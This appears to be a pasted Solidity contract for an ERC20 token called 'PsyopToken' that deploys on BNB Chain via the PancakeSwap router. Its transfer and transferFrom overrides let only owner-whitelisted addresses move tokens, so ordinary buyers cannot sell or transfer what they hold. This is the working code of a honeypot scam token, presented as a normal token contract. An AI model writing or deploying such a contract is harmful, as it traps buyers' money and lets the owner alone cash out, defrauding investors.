Untitled
user_4748127
plain_text
2 years ago
1.8 kB
8
Indexable
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract PsyopToken is ERC20, Ownable {
mapping(address => bool) private _isExcludedFromRestriction;
address public constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
constructor() ERC20("PsyopToken", "PSYOP") {
uint256 initialSupply = 1 * 10**9 * 10**18; // 1 billion tokens, 18 decimal places
_mint(msg.sender, initialSupply);
_isExcludedFromRestriction[msg.sender] = true; // Exclude owner from restriction
_isExcludedFromRestriction[address(0)] = true; // Exclude burn address
_isExcludedFromRestriction[address(this)] = true; // Exclude contract itself
_isExcludedFromRestriction[pancakeSwapRouterV2] = true; // Exclude PancakeSwap router from restriction
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(_isExcludedFromRestriction[msg.sender], "Only the owner can sell tokens");
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require(_isExcludedFromRestriction[sender], "Only the owner can sell tokens");
return super.transferFrom(sender, recipient, amount);
}
function excludeFromRestriction(address account) public onlyOwner {
_isExcludedFromRestriction[account] = true;
}
function includeInRestriction(address account) public onlyOwner {
_isExcludedFromRestriction[account] = false;
}
function isExcludedFromRestriction(address account) public view returns (bool) {
return _isExcludedFromRestriction[account];
}
}Editor is loading...